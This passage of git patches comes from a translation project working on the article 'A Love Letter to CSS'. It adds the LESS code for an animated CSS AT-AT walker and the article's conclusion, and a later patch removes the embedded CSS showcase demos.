+  .at-at-body-bg-second-block-item-2{
+    left:8px;
+    top:34px;
+  }
+}
+.at-at-body-bg-third-block{
+  position:absolute;
+  right:0;
+  top:0;
+  .size(35%, 57px);
+  border-left:2px solid #9fd6ff;
+
+  i{
+    position:absolute;
+    .size(4px, 8px);
+    .border-radius(2px);
+    background:#9fd6ff;
+  }
+  .at-at-body-bg-third-block-item-1{
+    left:10px;
+    top:10px;
+  }
+  .at-at-body-bg-third-block-item-2{
+    left:16px;
+    top:10px;
+  }
+  .at-at-body-bg-third-block-item-3{
+    left:5px;
+    top:34px;
+  }
+}
+
+.at-at-head{
+  position:absolute;
+  right:100%;
+  bottom:-5px;
+  margin:0 88px 0 0;
+  .size(64px, 38px);
+  background:@white;
+}
+
+.at-at-neck{
+  position:absolute;
+  left:100%;
+  bottom:10px;
+  .size(34px, 36px);
+
+  .neck-bg{
+    position:absolute;
+    left:0;
+    top:0;
+    .square(100%);
+    background:#104166;
+
+    &:after{
+      content:'';
+      position:absolute;
+      top:-15px;
+      left:0;
+      .square(0);
+      border-style: solid;
+      border-width: 0 0 15px 34px;
+      border-color: transparent transparent #104166 transparent;
+    }
+  }
+  .neck-ribs{
+    position:absolute;
+    left:0;
+    top:-2px;
+    .size(100%, 40px);
+    z-index:2;
+    overflow:hidden;
+    .c;
+
+    i{
+      float:left;
+      margin:0 0 0 2px;
+      .size(6px, 100%);
+      background:#9fd6ff;
+    }
+    .neck-cable-first{
+      position:absolute;
+      left:-6px;
+      top:0px;
+      .size(8px, 200%);
+      background:@white;
+      .rotate(-20deg);
+      .transition-timing(left top);
+    }
+    .neck-cable-second{
+      position:absolute;
+      left:16px;
+      top:0px;
+      .size(8px, 200%);
+      background:@white;
+      .rotate(-20deg);
+      .transition-timing(left top);
+    }
+    .neck-cable-last{
+      position:absolute;
+      left:32px;
+      top:0px;
+      .size(8px, 200%);
+      background:@white;
+      .rotate(20deg);
+      .transition-timing(left top);
+    }
+  }
+}
+
+.head-bg{
+  position:absolute;
+  left:0;
+  top:0;
+  .square(100%);
+  z-index:10;
+
+  i{
+    position:absolute;
+    .size(4px, 8px);
+    .border-radius(2px);
+    background:#9fd6ff;
+  }
+  .head-bg-first{
+    right:6px;
+    top:-6px;
+  }
+  .head-bg-second{
+    right:6px;
+    bottom:7px;
+  }
+}
+.head-snout{
+  position:absolute;
+  left:5px;
+  top:3px;
+  .square(34px);
+  .border-radius(18px);
+  border:3px solid #9fd6ff;
+
+  .in-head-snout{
+    position:absolute;
+    right:0;
+    top:0;
+    .square(14px);
+    overflow:hidden;
+
+    &:after{
+      content:'';
+      position:absolute;
+      right:0;
+      top:0;
+      .border-radius(20px);
+      .square(20px);
+      border:4px solid #9fd6ff;
+    }
+  }
+  .head-snout-gun{
+    position:absolute;
+    bottom:2px;
+    left:-8px;
+    .size(16px, 4px);
+    background:#9fd6ff;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:-8px;
+      top:-2px;
+      .size(8px, 8px);
+      background:#9fd6ff;
+    }
+    &:after{
+      content:'';
+      position:absolute;
+      right:-12px;
+      top:-2px;
+      .size(12px, 8px);
+      background:#9fd6ff;
+    }
+  }
+}
+.head{
+  position:absolute;
+  left:0;
+  top:0;
+  .size(100%, 100%);
+  z-index:5;
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:0;
+    top:-15px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 0 15px 64px;
+    border-color: transparent transparent @white transparent;
+  }
+  &:before{
+    content:'';
+    position:absolute;
+    top:0;
+    left:-16px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 0 38px 16px;
+    border-color: transparent transparent @white transparent;
+  }
+}
+.head-chin{
+  position:absolute;
+  left:5px;
+  bottom:-9px;
+  .size(18px, 9px);
+  background:@white;
+
+  &:before{
+    content:'';
+    position:absolute;
+    left:-6px;
+    top:0;
+    .square(0);
+    border-style: solid;
+    border-width: 0 6px 9px 0;
+    border-color: transparent @white transparent transparent;
+    z-index:5;
+  }
+  &:after{
+    content:'';
+    position:absolute;
+    right:-18px;
+    top:0;
+    .square(0);
+    border-style: solid;
+    border-width: 9px 18px 0 0;
+    border-color: @white transparent transparent transparent;
+  }
+  .head-chin-bg-first{
+    position:absolute;
+    left:5px;
+    bottom:0;
+    .size(4px, 6px);
+    .border-radius(2px 2px 0 0);
+    background:#104166;
+  }
+  .head-chin-bg-second{
+    position:absolute;
+    left:11px;
+    bottom:0;
+    .size(4px, 6px);
+    .border-radius(2px 2px 0 0);
+    background:#104166;
+  }
+}
+.head-gun{
+  position:absolute;
+  right:20px;
+  bottom:0;
+  .size(25px, 4px);
+  background:#104166;
+  z-index:5;
+  animation: fire-back 2.5s infinite;
+  animation-timing-function: ease-out;
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:-8px;
+    top:-2px;
+    .size(8px, 8px);
+    background:#2d445d;
+  }
+}
+.fire{
+  position:absolute;
+  left:-34px;
+  bottom:1px;
+  .size(36px, 2px);
+  animation: fire 2.5s infinite;
+  animation-timing-function: ease-out;
+  .c;
+
+  i{
+    float:left;
+    margin:0 0 0 4px;
+    .size(8px, 2px);
+    background:@white;
+  }
+}
+.head-left-bg{
+  position:absolute;
+  left:-16px;
+  top:12px;
+  .size(8px, 12px);
+  background:#2d445d;
+  .rotate(22deg);
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:0;
+    top:-8px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 0 8px 8px;
+    border-color: transparent transparent #2d445d transparent;
+  }
+}
+.head-top-bg{
+  position:absolute;
+  left:4px;
+  top:-12px;
+  display:block;
+  .size(32px, 8px);
+  overflow:hidden;
+  z-index:1;
+  .rotate(-14deg);
+
+  &:after{
+    content:'';
+    position:absolute;
+    bottom:0;
+    left:0;
+    .square(0);
+    border-style: solid;
+    border-width: 0 16px 50px 16px;
+    border-color: transparent transparent #2d445d transparent;
+  }
+}
+
+
+.at-at-body-left{
+  position:absolute;
+  right:100%;
+  top:28px;
+  margin:0 4px 0 0;
+  .size(50px, 68px);
+  background:@white;
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:0;
+    top:-16px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 0 16px 50px;
+    border-color: transparent transparent @white transparent;
+  }
+}
+.at-at-body-left-bg{
+  position:absolute;
+  left:16px;
+  top:16px;
+  .size(20px, 24px);
+  .border-radius(6px);
+  background:#9fd6ff;
+}
+.at-at-body-left-bg-1,
+.at-at-body-left-bg-2,
+.at-at-body-left-bg-3,
+.at-at-body-left-bg-4,
+.at-at-body-left-bg-5{
+  position:absolute;
+  .size(4px, 8px);
+  .border-radius(2px);
+  background:#9fd6ff;
+}
+.at-at-body-left-bg-1{
+  left:21px;
+  top:6px;
+}
+.at-at-body-left-bg-2{
+  left:27px;
+  top:6px;
+}
+.at-at-body-left-bg-3{
+  left:39px;
+  top:6px;
+}
+.at-at-body-left-bg-4{
+  left:7px;
+  bottom:7px;
+}
+.at-at-body-left-bg-5{
+  left:13px;
+  bottom:7px;
+}
+.at-at-body-right{
+  position:absolute;
+  left:100%;
+  top:31px;
+  margin:0 0 0 4px;
+  .size(68px, 65px);
+  background:@white;
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:0;
+    top:-26px;
+    .square(0);
+    border-style: solid;
+    border-width: 26px 0 0 68px;
+    border-color: transparent transparent transparent @white;
+  }
+}
+.at-at-body-right-bg-1,
+.at-at-body-right-bg-2,
+.at-at-body-right-bg-3,
+.at-at-body-right-bg-4,
+.at-at-body-right-bg-5{
+  position:absolute;
+  .size(4px, 8px);
+  .border-radius(2px);
+  background:#9fd6ff;
+}
+.at-at-body-right-bg-1{
+  left:4px;
+  top:4px;
+}
+.at-at-body-right-bg-2{
+  left:31px;
+  top:4px;
+}
+.at-at-body-right-bg-3{
+  left:37px;
+  top:4px;
+}
+.at-at-body-right-bg-4{
+  left:59px;
+  top:4px;
+}
+.at-at-body-right-bg-5{
+  left:4px;
+  bottom:7px;
+}
+.at-at-body-right-bg{
+  position:absolute;
+  right:5px;
+  bottom:7px;
+  .size(32px, 32px);
+  .border-radius(6px);
+  background:#9fd6ff;
+
+  &:after{
+    content:'';
+    position:absolute;
+    right:5px;
+    top:5px;
+    .size(10px, 10px);
+    background:#104166;
+  }
+}
+.at-at-body-bottom{
+  position:absolute;
+  right:0;
+  top:100%;
+  margin-top:3px;
+  .size(60px, 20px);
+  background:@white;
+
+  .body-bottom-left{
+    position:absolute;
+    left:-40px;
+    top:0;
+    .size(40px, 20px);
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:0;
+      top:0;
+      .square(0);
+      border-style: solid;
+      border-width: 0 48px 16px 0;
+      border-color: transparent @white transparent transparent;
+    }
+    &:after{
+      content:'';
+      position:absolute;
+      left:25px;
+      bottom:0;
+      .square(0);
+      border-style: solid;
+      border-width: 0 15px 12px 0;
+      border-color: transparent @white transparent transparent;
+    }
+  }
+}
+.at-at-body-bottom-bg{
+  padding:4px 0 4px 15px;
+  .size(100%, 100%);
+  .c;
+
+  i{
+    float:left;
+    margin:0 3px 0 0;
+    .size(4px, 12px);
+    .border-radius(2px);
+    background:#104166;
+  }
+}
+
+
+
+
+
+.leg-front-back{
+  left:30px;
+  z-index:5;
+  animation: legs 10s infinite;
+  animation-delay: 5s;
+
+  .leg-first{
+    animation: leg-first 10s infinite;
+    animation-delay: 5s;
+  }
+  .leg-second{
+    animation: leg-second 10s infinite;
+    animation-delay: 5s;
+  }
+  .in-second-leg{
+    animation: leg-foot 10s infinite;
+    animation-delay: 5s;
+  }
+}
+.leg-rear-back{
+  left:203px;
+  z-index:5;
+  animation: legs 10s infinite;
+  animation-delay: 7.5s;
+
+  .leg-first{
+    animation: leg-first 10s infinite;
+    animation-delay: 7.5s;
+  }
+  .leg-second{
+    animation: leg-second 10s infinite;
+    animation-delay: 7.5s;
+  }
+  .in-second-leg{
+    animation: leg-foot 10s infinite;
+    animation-delay: 7.5s;
+  }
+}
+.leg-front{
+  left:30px;
+  z-index:15;
+  animation: legs 10s infinite;
+
+  .leg-first{
+    animation: leg-first 10s infinite;
+  }
+  .leg-second{
+    animation: leg-second 10s infinite;
+  }
+  .in-second-leg{
+    animation: leg-foot 10s infinite;
+  }
+}
+.leg-rear{
+  left:203px;
+  z-index:15;
+  animation: legs 10s infinite;
+  animation-delay: 2.5s;
+
+  .leg-first{
+    animation: leg-first 10s infinite;
+    animation-delay: 2.5s;
+  }
+  .leg-second{
+    animation: leg-second 10s infinite;
+    animation-delay: 2.5s;
+  }
+  .in-second-leg{
+    animation: leg-foot 10s infinite;
+    animation-delay: 2.5s;
+  }
+}
+
+
+
+.leg-content{
+  position:absolute;
+  bottom:-15px;
+  .square(40px);
+
+  .leg-first-joint{
+    position:absolute;
+    left:-8px;
+    bottom:-8px;
+    .border-radius(20px);
+    border:4px solid @white;
+    .square(40px);
+    background:#9fd6ff;
+    z-index:2;
+
+    i{
+      position:absolute;
+      left:0;
+      top:50%;
+      margin-top:-5px;
+      .size(100%, 10px);
+      background:@white;
+
+      &:after{
+        content:'';
+        position:absolute;
+        left:50%;
+        top:50%;
+        margin:-2px 0 0 -4px;
+        .size(8px, 4px);
+        background:#9fd6ff;
+      }
+    }
+  }
+  .leg-first{
+    position:absolute;
+    left:0;
+    top:35px;
+    .size(28px, 60px);
+    background:#9fd6ff;
+    .rotate(-30deg);
+    .transition-timing(left top);
+
+    .leg-first-hr-a,
+    .leg-first-hr-b{
+      position:absolute;
+      left:8px;
+      top:0;
+      .size(2px, 100%);
+      background:#104166;
+    }
+    .leg-first-hr-b{
+      left:auto;
+      right:8px;
+    }
+  }
+  .in-first-leg{
+    position:absolute;
+    left:-6px;
+    bottom:-6px;
+    .square(40px);
+  }
+
+  .leg-second-joint{
+    position:absolute;
+    left:4px;
+    top:20px;
+    .border-radius(20px);
+    border:4px solid @white;
+    .square(32px);
+    background:#9fd6ff;
+    z-index:2;
+
+    i{
+      position:absolute;
+      left:0;
+      top:50%;
+      margin-top:-3px;
+      .size(100%, 6px);
+      background:@white;
+    }
+  }
+  .leg-second{
+    position:absolute;
+    //left:20px;
+    left:6px;
+    top:30px;
+    .size(28px, 50px);
+    background:#9fd6ff;
+    .transition-timing(left top);
+
+    .leg-second-hr{
+      position:absolute;
+      left:50%;
+      top:0;
+      margin:0 0 0 -3px;
+      .size(6px, 60%);
+      .border-radius(0 0 4px 4px);
+      background:#104166;
+    }
+  }
+  .in-second-leg{
+    position:absolute;
+    left:0px;
+    bottom:-15px;
+    .square(40px);
+    .rotate(30deg);
+    .transition-timing(left top);
+  }
+
+  .foot-joint{
+    position:absolute;
+    left:0px;
+    top:2px;
+    .size(40px, 18px);
+    //.border-radius(26px);
+    //border:4px solid @white;
+    //background:#9fd6ff;
+    overflow:hidden;
+    z-index:2;
+
+    .foot-ankle{
+      position:relative;
+      display:block;
+      .square(100%);
+
+      &:before,
+      &:after{
+        content:'';
+        position:absolute;
+        bottom:2px;
+        .square(8px);
+        .border-radius(4px);
+        background:#9fd6ff;
+        z-index:4;
+      }
+      &:before{
+        left:9px;
+      }
+      &:after{
+        right:9px;
+      }
+    }
+    .foot-ankle-bg{
+      position:absolute;
+      left:0;
+      bottom:0;
+      .square(0);
+      border-style: solid;
+      border-width: 0 20px 100px 20px;
+      border-color: transparent transparent @white transparent;
+    }
+  }
+  .foot-ankle-bottom{
+    position:absolute;
+    top:18px;
+    .size(40px, 8px);
+    overflow:hidden;
+    z-index:2;
+
+    &:after{
+      content:'';
+      position:absolute;
+      left:0;
+      top:1px;
+      .square(0);
+      border-style: solid;
+      border-width: 40px 20px 0 20px;
+      border-color: @white transparent transparent transparent;
+    }
+  }
+  .foot-ankle-space{
+    position:absolute;
+    left:-5px;
+    top:14px;
+    .size(50px, 26px);
+    .border-radius(20px 20px 0 0);
+    border:8px solid #9fd6ff;
+    border-bottom:3px solid #9fd6ff;
+  }
+  .foot{
+    position:absolute;
+    left:50%;
+    top:30px;
+    margin:0 0 0 -12px;
+    .size(24px, 37px);
+    background:@white;
+  }
+  .foot-bottom{
+    position:absolute;
+    left:50%;
+    bottom:0;
+    margin:0 0 0 -27px;
+    .size(54px, 18px);
+    overflow:hidden;
+    z-index:2;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:0;
+      bottom:0;
+      .square(0);
+      border-style: solid;
+      border-width: 0 27px 100px 27px;
+      border-color: transparent transparent @white transparent;
+    }
+    &:after{
+      content:'';
+      position:absolute;
+      left:50%;
+      bottom:0;
+      margin:0 0 0 -8px;
+      .size(16px, 4px);
+      background:#9fd6ff;
+    }
+  }
+  .foot-land{
+    position:absolute;
+    left:50%;
+    bottom:0;
+    margin:0 0 0 -40px;
+    .size(80px, 10px);
+    overflow:hidden;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:50%;
+      bottom:0;
+      margin:0 0 0 -60px;
+      .square(0);
+      border-style: solid;
+      border-width: 0 60px 10px 60px;
+      border-color: transparent transparent #9fd6ff transparent;
+    }
+  }
+}
+
+
+.leg-front-back,
+.leg-rear-back{
+  .leg-first-joint{
+    border-color:#104166;
+    background:#104166;
+
+    i{
+      display:none;
+    }
+  }
+  .leg-first{
+    background:#104166;
+  }
+  .leg-second-joint{
+    border-color:#22689d;
+    background:#22689d;
+
+    i{
+      display:none;
+    }
+  }
+  .leg-second{
+    background:#104166;
+  }
+
+
+  .foot-joint{
+    .foot-ankle{
+      &:before,
+      &:after{
+        display:none;
+      }
+    }
+    .foot-ankle-bg{
+      border-color: transparent transparent #22689d transparent;
+    }
+  }
+  .foot-ankle-bottom{
+    &:after{
+      border-color: #22689d transparent transparent transparent;
+    }
+  }
+  .foot-ankle-space{
+    border:8px solid #104166;
+    border-bottom:3px solid #104166;
+  }
+  .foot{
+    background:#22689d;
+  }
+  .foot-bottom{
+    &:before{
+      border-color: transparent transparent #22689d transparent;
+    }
+    &:after{
+      background:#104166;
+    }
+  }
+  .foot-land{
+    &:before{
+      border-color: transparent transparent #104166 transparent;
+    }
+  }
+}
+
+
+@keyframes ship {
+  0% {
+    left:-30%;
+  }
+  100% {
+    left:1000%;
+  }
+}
+
+
+@keyframes rock {
+  0% {
+    margin-left:0%;
+  }
+  100% {
+    margin-left:100%;
+  }
+}
+
+@keyframes first-rock {
+  0% {
+    left:-10%;
+  }
+  100% {
+    left:110%;
+  }
+}
+
+
+
+@keyframes fire-back {
+  0% {
+    width:25px;
+  }
+  40% {
+    width:25px;
+  }
+  45% {
+    width:20px;
+  }
+  50% {
+    width:25px;
+  }
+  100% {
+    width:25px;
+  }
+}
+
+@keyframes fire {
+  0% {
+    left:-34px;
+  }
+  50% {
+    left:-34px;
+  }
+  100% {
+    left:-1000px;
+  }
+}
+
+
+@keyframes at-at-body {
+  0% {
+    margin-top:15px;
+  }
+  20% {
+    margin-top:10px;
+  }
+  75% {
+    margin-top:10px;
+  }
+  80% {
+    margin-top:15px;
+  }
+  100% {
+    margin-top:15px;
+  }
+}
+
+
+
+@keyframes legs {
+  0% {
+    bottom:-15px;
+  }
+  10% {
+    bottom:-5px;
+  }
+  15% {
+    bottom:-5px;
+  }
+  25% {
+    bottom:-15px;
+  }
+}
+
+
+
+@keyframes leg-first {
+  0% {
+    left:0px;
+    .rotate(-30deg);
+  }
+  15% {
+    left:0;
+    top:20px;
+    height:50px;
+    .rotate(40deg);
+  }
+  30% {
+    left:0;
+    top:20px;
+    height:60px;
+    .rotate(40deg);
+  }
+}
+
+
+
+@keyframes leg-second {
+  0% {
+    top:30px;
+    left:6px;
+    height:50px;
+    .rotate(0deg);
+  }
+  15% {
+    top:50px;
+    left:10px;
+    height:50px;
+    .rotate(-60deg);
+  }
+  25% {
+    top:45px;
+    left:5px;
+    height:50px;
+    .rotate(0deg);
+  }
+  33% {
+    top:45px;
+    left:5px;
+    height:50px;
+    .rotate(0deg);
+  }
+  50% {
+    height:30px;
+  }
+
+  60% {
+    height:35px;
+  }
+}
+
+
+@keyframes leg-foot {
+  0% {
+    left:0px;
+    bottom:-15px;
+    .rotate(30deg);
+  }
+  15% {
+    left:-5px;
+    bottom:-25px;
+    .rotate(10deg);
+  }
+  20% {
+    left:-5px;
+    bottom:-40px;
+    .rotate(-35deg);
+    //background:red;
+  }
+  25% {
+    left:-5px;
+    bottom:-40px;
+    .rotate(-35deg);
+  }
+  33% {
+    left:-5px;
+    bottom:-40px;
+    .rotate(-30deg);
+  }
+}
+
+
+
+
+@media screen and (max-width: 1025px) , screen and (max-height: 500px){
+
+  .at-at{
+    margin-top:-95px;
+    .scale(0.8);
+  }
+
+  .mountain-first{
+    left:-80px;
+    .scale(0.8);
+  }
+  .mountain-second{
+    right:-100px;
+    .scale(0.8);
+  }
+
+  .first-bg-anim{
+    .second{
+      display:none;
+    }
+    .last{
+      display:none;
+    }
+  }
+
+}
+
+
+@media screen and (max-width: 740px) , screen and (max-height: 500px){
+
+  section{
+    min-height:0;
+  }
+
+  .at-at{
+    margin-top:-35px;
+    .scale(0.5);
+  }
+
+  .moon{
+    position:absolute;
+    left:50%;
+    top:25%;
+    margin:-60px 0 0 -180px;
+    .square(100px);
+  }
+
+  .mountain-first{
+    left:-150px;
+    margin-top:-170px;
+    .scale(0.5);
+  }
+  .mountain-second{
+    right:-180px;
+    margin-top:-160px;
+    .scale(0.5);
+  }
+
+}
+
+
+
+@media screen and (max-width: 500px) , screen and (max-height: 400px){
+
+  .moon{
+    margin:-60px 0 0 -100px;
+  }
+
+  .first-bg-anim{
+    .third{
+      display:none;
+    }
+  }
+
+}
+
+
+// Sizing shortcuts
+// -------------------------
+.size(@width: 5px, @height: 5px) {
+  width: @width;
+  height: @height;
+}
+.square(@size: 5px) {
+  .size(@size, @size);
+}
+
+// Border Radius
+.border-radius(@radius: 5px) {
+  -webkit-border-radius: @radius;
+     -moz-border-radius: @radius;
+          border-radius: @radius;
+}
+
+// Opacity
+.opacity(@opacity: 100) {
+  opacity: @opacity / 100;
+   filter: e(%("alpha(opacity=%d)", @opacity));
+}
+
+// Transformations
+.rotate(@degrees) {
+  -webkit-transform: rotate(@degrees);
+     -moz-transform: rotate(@degrees);
+      -ms-transform: rotate(@degrees);
+       -o-transform: rotate(@degrees);
+          transform: rotate(@degrees);
+}
+.scale(@ratio) {
+  -webkit-transform: scale(@ratio);
+     -moz-transform: scale(@ratio);
+      -ms-transform: scale(@ratio);
+       -o-transform: scale(@ratio);
+          transform: scale(@ratio);
+}
+.transition-timing(@origin) {
+  -webkit-transform-origin: @origin;
+     -moz-transform-origin: @origin;
+       -o-transform-origin: @origin;
+          transform-origin: @origin;
+}
+
+
+
+// Clearfix
+// --------
+// For clearing floats like a boss h5bp.com/q
+.c {
+ .clearfix();
+}
+.clearfix() {
+  *zoom: 1;
+  &:before,
+  &:after {
+    display: table;
+    content: "";
+  }
+  &:after {
+    clear: both;
+  }
+}
+
+
+@white:     #fff;
+@black:			#000;
+```
+
+效果预览：[codepen.io/r4ms3s/pen/gajVBG](https://codepen.io/r4ms3s/pen/gajVBG)
+
+
+## Conclusion
+
+So does CSS have its quirks? Sure. The box model is a bit weird, flexbox isn’t the easiest thing to learn, and it’d be great if features like CSS variables were available years ago.
+
+Every styling system has its warts, but CSS’s flexibility, simplicity, and pure power have stood the test of time, and have helped make the web the powerful development platform it is today. I’m happy to defend CSS against the CSS haters, and I encourage you to do the same.
+
+*Header image based upon [Valentines by Misha Gardner](https://flic.kr/p/bpWQ7a)*
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From e9551bed9b834662670c03786fe0f4a890dd962a Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 7 Jun 2017 10:36:57 +0800
Subject: [PATCH 631/638] =?UTF-8?q?=E8=B0=83=E6=95=B4=E9=A1=B5=E9=9D=A2?=
 =?UTF-8?q?=E5=86=85=E5=AE=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/love-letter-css.md | 2921 +--------------------------------------
 1 file changed, 4 insertions(+), 2917 deletions(-)

diff --git a/TODO/love-letter-css.md b/TODO/love-letter-css.md
index d462ce85398..bac6fc664c2 100644
--- a/TODO/love-letter-css.md
+++ b/TODO/love-letter-css.md
@@ -4,7 +4,6 @@
 > * 译者：
 > * 校对者：
 
-
 # A Love Letter to CSS
 
 ![http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg](http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg)
@@ -287,2923 +286,11 @@ One final example: on the [NativeScript project](https://docs.nativescript.org/)
 
 And finally, the single biggest reason CSS is awesome is the sheer range of things developers have been able to build with a language of simple selectors and rules. The internet is full of "10 AMAZING CSS-ONLY EXAMPLES" posts that prove this point, but I’m going to embed a few of my favorites right here because I can.
 
-#### 案例 1
-
-```
-html
-
- <ul class="wrapper">
-  <div class="sun">
-    <div class="star"></div>
-  </div>
-  <div class="mercury">
-    <div class="planet">
-      <div class="shadow"></div>
-    </div>
-  </div>
-  <div class="venus">
-    <div class="planet">
-      <div class="shadow"></div>
-    </div>
-  </div>
-  <div class="earth">
-    <div class="planet"><div class="shadow"></div></div>
-  </div>
-  <div class="mars">
-    <div class="planet"><div class="shadow"></div></div>
-  </div>
-  <div class="jupiter">
-    <div class="planet"><div class="shadow"></div></div>
-  </div>
-</ul>
-
-css
-
-html {
-  background-color: #000;
-}
-body{
-  height: 100%;
-  top: 0px;
-  bottom: 0px;
-}
-@keyframes spinsun {
-  0% { transform: rotate(0); }
-  100%   { transform: rotate(-360deg); }
-}
-@keyframes shadow {
-  0% { background-position: 130% 0%; }
-  33%{ background-position: 50% 0%; }
-  55% { background-position: 0% 0%; }
-  80%{ background-position: -50% 0%; }
-  100%{ background-position: -50% 0%; }
-}
-@keyframes orbitmercury {
-  0% { z-index:2; transform: rotateY(0); }
-  49% { z-index:2; }
-  50% { z-index:-2; }
-  99% { z-index:-2; }
-  100%   { z-index:2; transform: rotateY(360deg); }
-}
-@keyframes orbitvenus {
-  0% { z-index:3; transform: rotateY(0); }
-  49% { z-index:3; }
-  50% { z-index:-3; }
-  99% { z-index:-3; }
-  100%   { z-index:3; transform: rotateY(360deg); }
-}
-@keyframes orbitearth {
-  0% { z-index:4; transform: rotateY(0); }
-  49% {z-index:4;}
-  50% {z-index:-4;}
-  99% {z-index:-4;}
-  100%   { z-index:4; transform: rotateY(360deg);}
-}
-@keyframes orbitmars {
-  0% { z-index:5; transform: rotateY(0); }
-  49% { z-index:5; }
-  50% { z-index:-5; }
-  99% { z-index:-5; }
-  100%   { z-index:5; transform: rotateY(360deg); }
-}
-@keyframes orbitjupiter {
-  0% { z-index:6; transform: rotateY(270); }
-  49% { z-index:6; }
-  50% { z-index:-6; }
-  99% { z-index:-6; }
-  100%   { z-index:6; transform: rotateY(360deg); }
-}
-@keyframes orbitsaturn {
-  0% { z-index:7; transform: rotateY(270); }
-  49% { z-index:7; }
-  50% { z-index:-7; }
-  99% { z-index:-7; }
-  100%   { z-index:7; transform: rotateY(360deg); }
-}
-/* Keep planet image flat */
-@keyframes anti-spin {
-  from { transform: rotateY(0); }
-  to   { transform: rotateY(-360deg); }
-}
-@keyframes anti-spin-rings {
-  from { transform: rotateY(0) rotateX(73deg); }
-  to   { transform: rotateY(-360deg) rotateX(73deg); }
-}
-
-/* scene wrapper */
-.wrapper{
-  position:relative;
-  margin: 0 auto;
-  display:block;
-  margin-top: 200px;
-  perspective: 1000px;
-    perspective-origin: 60% 50%;
-  transform: rotate(-10deg);
-
-}
-.wrapper > div {
-  position: relative;
-  margin: 0 auto;
-  transform-style: preserve-3d;
-  height: 0px;
-}
-.sun {
-  width: 250px;
-  position: absolute;
-  top: 0px;
-  z-index: 1;
-  height: 125px !important;
-}
-.sun .star {
-  width: 250px;
-  height: 250px;
-  background: url(http://www.waynedunkley.com/img/solar_system/sun.png) no-repeat;
-  background-size: cover;
-  border-radius: 250px;
-  margin: 0 auto;
-  animation: spinsun 40s infinite linear;
-}
-.planet {
-  background-size: cover;
-  background-repeat: no-repeat;
-  background-color: transparent;
-  animation-iteration-count: infinite;
-  overflow:hidden;
-}
-.shadow {
-  position: absolute;
-  left: 0px;
-  right: 0px;
-  top: 0px;
-  bottom: 0px;
-  background: transparent url(http://www.waynedunkley.com/img/solar_system/shadow.png) 0% 0% no-repeat;
-  background-size: cover;
-  border-radius: 100%;
-}
-.mercury {
-  position: absolute;
-  width: 400px;
-  z-index:2;
-  animation: orbitmercury 12s infinite linear;
-  top: -7.5px; /*half of planets height to keep orbits in line*/
-}
-.mercury .planet {
-  width:15px;
-  height:15px;
-  background-image: url(http://www.waynedunkley.com/img/solar_system/mercury.png);
-  animation: anti-spin 12s infinite linear;
-}
-.mercury .shadow {
-  animation: shadow 12s infinite linear;
-}
-.venus {
-  position: absolute;
-  width: 506px;
-  z-index:3;
-  animation: orbitvenus 15s infinite linear;
-  top: -19px;
-}
-.venus .planet {
-  width:38px;
-  height:38px;
-  background-image: url(http://www.waynedunkley.com/img/solar_system/venus.png);
-  animation: anti-spin 15s infinite linear;
-}
-.venus .shadow {
-  animation: shadow 15s infinite linear;
-}
-.earth {
-  position: absolute;
-  width: 610px;
-  z-index:4;
-  animation: orbitearth 20s infinite linear;
-  top: -20px;
-}
-.earth .planet {
-  width:40px;
-  height:40px;
-  background-image: url(http://www.waynedunkley.com/img/solar_system/earth.png?v=2);
-  animation: anti-spin 20s infinite linear;
-}
-.earth .shadow {
-  animation: shadow 20s infinite linear;
-}
-.mars {
-  position: absolute;
-  width: 706px;
-  z-index:5;
-  animation: orbitmars 30s infinite linear;
-  top: -11px;
-}
-.mars .planet {
-  width:22px;
-  height:22px;
-  background-image: url(http://www.waynedunkley.com/img/solar_system/mars.png);
-  animation: anti-spin 30s infinite linear;
-}
-.mars .shadow {
-  animation: shadow 30s infinite linear;
-}
-.jupiter {
-  position: absolute;
-  width: 1100px;
-  z-index:6;
-  animation: orbitjupiter 50s infinite linear;
-  top: -64px;
-}
-.jupiter .planet {
-  width:128px;
-  height:128px;
-  background-image: url(http://www.waynedunkley.com/img/solar_system/jupiter.png);
-  animation: anti-spin 50s infinite linear;
-}
-.jupiter .shadow {
-  animation: shadow 50s infinite linear;
-}
-```
-
-效果预览：[codepen.io/waynedunkley/pen/YPJWaz](https://codepen.io/waynedunkley/pen/YPJWaz)
-
-
-#### 案例 2
-
-```
-html
-
-<!-- Please heart it if you like! -->
-<div id='book'>
-  <div id='top'></div>
-  <div id='front'></div>
-  <div id='right'></div>
-  <div id='bottom'></div>
-  <div id='shadow'></div>
-  <div id='bookmark'>
-    <div>
-      <div>
-        <div>
-          <div></div>
-        </div>
-      </div>
-    </div>
-  </div>
-  <div id='bookmark-shadow'></div>
-</div>
-<div id='flip'>
-  <div id='front'>
-    <div>
-      <div>
-        <div>
-          <div>
-            <div>
-              <div>
-                <div>
-                  <div>
-                    <div>
-                      <div></div>
-                    </div>
-                  </div>
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-    </div>
-  </div>
-  <div id='back'>
-    <div>
-      <div>
-        <div>
-          <div>
-            <div>
-              <div>
-                <div>
-                  <div>
-                    <div>
